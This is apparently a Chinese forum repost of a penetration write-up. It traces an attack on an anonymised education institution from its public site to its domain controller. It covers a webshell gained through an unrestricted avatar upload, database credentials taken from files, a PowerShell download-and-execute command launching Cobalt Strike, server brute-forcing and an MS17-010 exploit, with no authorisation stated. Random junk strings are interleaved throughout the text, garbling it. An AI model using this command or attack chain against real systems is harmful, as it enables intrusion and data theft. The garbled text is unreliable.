中国网络渗透测试联盟

标题: 渗透实战 | 从外网直接打到内网全过程 [打印本页]
作者: admin    时间: 2024-3-1 19:41
标题: 渗透实战 | 从外网直接打到内网全过程

2 U5 {. ]0 N, H% u 这次渗透是一个从0到1，从外网到拿下域控的实战过程，希望可以给大家一些思路! O8 ^/ a& E) u, p9 @

5 }. _2 w7 d) I1 [8 h2 B

1 p# |6 @% \$ d2 t- F7 s   . z& a3 r6 O" Z: o2 e6 i1 `

1 t7 Z; g9 ?/ _7 `6 X9 u

5 Y& i: c/ M' h( G" f4 G 正文 3 U% Q' l9 o8 N4 b( a5 D& y% M

b; {& a, y! l, d9 C K" L0 n

# w4 G- w$ t4 W. W- W' ?  5 F3 A: c3 `, `7 E0 `) |

4 P8 y4 X& [* y' |. ^3 N

2 Z5 f* y) e* U* B" K) R 目标：www.xxxx.com(一家教育机构)
. Q! t4 @9 j: i 打开是一个登录框，只能是手机号+密码或者手机号+验证码且并未开放注册功能 ( m, ^* U) U0 S o/ i6 G

8 B6 g; E+ R3 d9 a, p: g

7 Z3 x# i" e' j8 \8 v' d3 n: X vshapes= ( X$ B4 T1 ~- K6 D% t0 a

( D! P# q! [; g) ?. g& J. ~( y

4 d' P& g# `# d- W2 H; ]! W 进行了简单的信息搜集
3 A8 P/ D! c* e" X" E
# U/ V! y! @9 |# E3 z6 \ 0 U3 e/ z7 Z+ s5 d1 @2 d: ?+ t8 ~

' t# _/ n: E0 ^

- x1 r6 _, g z2 e 子域名搜集 # `7 T$ s* P1 P K1 F9 _1 l" j6 _5 b4 w

3 S3 j3 \7 B- ]4 v8 X. U

" H( g( S9 i% I( j0 V. v) a5 X; k vshapes= . m2 i2 }; a+ g( x( n

* j0 f! W2 X8 ]* J8 O

q5 X& B( r q9 ^: t& p& a fofa找资产
, A) Y5 U# i) ^9 X! ^* a# M
, G) b( ?$ r& I+ l( f& s$ g! } # C, r9 q2 n0 ~0 d. q$ v

- ^ G0 O. t/ ^4 i- q3 N5 y; Q5 |3 Z

# E0 h# N! N+ d5 g, v vshapes=# ] X7 |2 ^' |( k

4 `3 y g, A3 I! A7 q

* B. C& D/ i L5 h! q' o 一共七个资产。去重之后只有两个。
3 M, d% ]. h9 v, J/ h: s: @4 Z
' M5 c3 O- G8 Y! W$ ~* U ! ~; p& D( m: ^3 N7 @ ]

4 a. I" \8 ]5 }& t; L" l ^

$ ~- }: K/ Z6 i, D3 |6 I& o 目录探测1 ^" K% e$ k% g _1 u4 \. J

) j9 f( A" t5 N

8 w8 Y) Z' q( |* ^2 f7 D vshapes= 0 h# X5 t* m7 {' _. Q& _

) M6 Q# t1 l! k. v7 o+ m

n" [1 r5 B6 P" I 我尝试了暴力枚举，看有没有弱口令之类的,然而并没有
" _3 t+ }; R1 A- E5 e/ }
4 j% G5 m; f3 E+ L1 t! x 3 W3 t% s, g, ~( F6 d6 d+ Z7 q- I

* t7 a) I. C# h7 z4 |+ r

! R. e7 p: Q X4 L5 X4 O 我又尝试了通过修改返回包来绕过登录界面8 K6 `. G& w3 J9 \4 p* P

7 ~/ B/ g' G# K$ I: R* e" b9 L

* M7 q1 d: {/ ` vshapes=; x. G- r; ^7 p

# a. ^' R: i1 S! X) x" L6 R1 o

4 e2 N3 ^) U z5 b$ z4 y( c 还是不行，尝试注入无果 9 x7 j5 o% i; Q& w

: D8 P# ~) E5 i, Z

9 b; e4 k+ u( J, z7 ~4 B$ A vshapes=% k8 Q% G% [$ o0 D

/ [% d. @# c, c! K: b1 S7 ^

( P) I+ d H. B. Y/ G 不过我目录探测出了一处Spring信息泄露
, L5 M, D3 N1 C; S9 a, o
- @* k0 E9 T7 c " L% V1 z* ?, X! ^* f, D( b

/ ~. i' {' H4 W' p' X) A4 a7 c

+ B- [6 D/ E; d9 m6 O' t4 e vshapes=3 v! w+ z8 P$ T$ c. @& l# |& c$ ~

7 x" N) i1 E( A4 m9 j1 P

6 @$ g# k% \" ^3 o 尝试Spring RCE无果，想通过trace目录下替换cookie实现登录，但是发现删除了这个目录 % H) ] q! p- |' E+ }5 Q6 V Y) L

# s$ r Q9 ~6 f* q

- q" F. T2 Q) K* o4 T7 R vshapes= + P" z1 B4 v2 ~' W6 x* c' F+ d

! A; k1 m) B8 `; R6 T

8 I6 B1 I7 v2 d, u# ` 后对公众号进行了简单的信息搜集，针对公众号搜集时，尽量找后面认证过的进行渗透。; V l. x' {% f1 l5 U

}0 Y* X' j+ D" ^! G3 U

9 R: u: i* v/ p' k3 a) p2 t vshapes=. n/ B7 q# f2 T2 j, E$ V

0 t) g% m g. j$ p: b7 `4 u

: q3 Z: v% d, H3 { y 获取有些师傅到这一步就手机抓包电脑测了。 . f/ P+ j+ c+ }+ K1 Z

# H( |' O7 `# ~1 J- ~/ {2 \

$ h0 h M) e5 ]1 n ]/ W( d- ] Windows新版微信可以抓取公众号和小程序的包，只需要把IE代理配置一下即可。 5 N0 v) K4 C* K4 k% y* P

# F: ]( T* Y- v5 a6 @5 f1 y

! j9 I+ y' ~- Z, ]5 ^: I$ i- S9 q 其中在一个公众号发现了小程序，可以进行注册。6 B0 g% E! Z- x e8 W

/ V! n! E! j+ t; j/ {

. s- B2 d, O7 p# f% n7 _ 看到了头像上传，尝试上传获取WebShell7 m" V* D7 A% o: }) C

. Y$ x+ T( R6 \! ?% k& @# F

& b& X3 B" f0 a vshapes= ) t8 J+ ]; m2 z, g% J3 Y' M+ \

# z4 c0 W8 H: {' ~; P& d$ F) R

' Q& I5 s& K( T' v/ G 未做任何限制成功GetShell，上了冰蝎马，目录没权限访问 & B9 ^9 h: Q5 s) f: ~# H: K

! f# ]5 H- T: U

2 V+ d6 W6 m) g; V4 ~ vshapes= ' ]& d$ w$ L3 b5 }/ r: o! ~

1 _; l8 B1 U4 ]" `0 N

# A: A0 I: O/ M; D& M* f0 M) N; C 然后上了大马 5 ^- k3 R/ z7 M9 j) x2 i |

. \8 v: l; o' @2 [; p

$ U0 E. Y" W$ j5 e. G' C( h7 \7 I vshapes= 1 U" [5 U: r j& {0 f( Z8 {

$ h* L c) k" Q9 o; A6 i ]

7 c9 F: _' x7 z vshapes=9 k- _- @; [# W: d0 X2 Q. B

- B, _! {# {: W$ _$ W

$ [' I! v' b: A3 S0 z 通过翻找文件发现数据库账号密码- X1 d |$ _2 L% P8 Y' b# I* |

. A! ]- d0 }. ]% r5 a

3 Q# `1 j. g- |- }% P W1 j vshapes= # Z& w- f+ j& B

L& |! @5 s( \3 p

" O% _+ T0 i$ a; P --内网渗透9 Y/ t+ Z% D& M2 E& g

$ d$ i+ q0 L* M* O3 ~

( n( N8 {; c2 {0 F" V& } G 直接通过powershell执行 cs上线% l% F1 Z; x7 h% M' E$ R1 a! B

! d1 w' n H/ ?

4 y4 u- z9 N" F9 P8 P powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxxxxxxxxxxxx/a'))" 8 B& ]+ U* o2 u% Y0 R

" u( ?4 ~: R6 G' }

1 n/ \4 n* M* K5 x1 b: m vshapes= $ d. k6 G& ~5 |. P

, y# I/ o. T) [$ [3 ]$ C

( U& h1 p+ \' L 进入内网后，简单的进行一波信息收集，寻找域控并对服务器段进行弱口令爆破$ W% J) p q6 o4 a

# G) f' p9 \2 W% b9 y+ b w

, p5 u9 H$ H- c* K3 q) V, z+ E vshapes= ( o* `& |2 @+ E

5 L3 h! _# I( @6 g# P

4 l. f5 M/ h7 l9 |2 w" H 登录爆破出来的服务器，发现多网卡且存在逻辑隔离。
9 p; x$ b! ?, Z# U! Y6 j
% a* m% m3 K& |" n0 g) m B
! e! j, y) L+ d, Y0 |; K; E3 c0 Q. @6 @

0 X2 s/ l1 c$ h' z

% j" h8 q7 F C vshapes=8 O* H# n- N+ S: E# ]! F7 h+ ?

& E, n3 o Y" J9 K

# @: Y0 Y4 J' p+ Y3 {2 G 通过跳扳机能通域控，发现域控server2008且存在ms17010,直接一把梭
% f4 n: d( o1 U
. }+ _6 ~$ B' I" Z 3 G' M" O2 S0 _: C# j, s; K& H8 w

: E( E4 q! K; s9 N

9 M! |) p: |) d ^' ` vshapes=0 u# V% G+ a5 x7 Q- ]8 G3 m

3 D c4 K' J# ]7 v: _7 c5 M

0 m; B: D) f. Q. j2 C
6 \0 N7 k7 ?, j6 n3 V
# ]% w% }9 v# M# ~4 u# Z" X / ^2 Q4 Y1 U9 L9 l# k2 D4 [

5 g% F. x; _+ ?& b/ }* c

6 u; C* d" M, W; K. Y   ( q# ~0 F, T/ R7 {7 O1 @9 z k

- E2 q# P& p- X2 ~

$ x& y& |6 m2 P& b1 w- |' D) R4 N 小结 * `3 `9 D, b9 Z

0 g5 n5 s- `# b9 k" I# O

( e: k9 ^; j5 X' ?+ e. ?- V  7 ^, d; y. j) U* T* M; f# L

& o. p+ A+ ^3 W0 h" R/ [

3 Q8 @* ~. ~9 h7 p9 h+ Y4 ^ 在渗透测试过程中，信息收集很重要，细心和耐心也是不可缺少的，总得来说，这次的渗透测试总的来说比较顺利，希望可以给大家带来一些思路！4 ]4 u. L C2 M: b) N; q, ]. M

- j# x: V7 w/ n! @3 I

6 r: O. [+ d2 \0 D, J( f   3 g* y4 L# O, O1 J9 q7 c0 M% P& s

! P/ b! _! N7 e- e& G9 Z + i8 R, l" t+ _% W# C2 b

9 k2 f8 C. B1 H3 E2 z 作者：Xm4FDf转载自：https://bbs.ichunqiu.com/thread-57879-1-1.html / e. \* @7 k3 g+ |" D# F

; ]$ z( z# l! j& T: C/ K/ t

6 m1 ], f E6 [2 h% ^/ c" t T   9 `. ]* z! }8 I% u4 X5 l





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2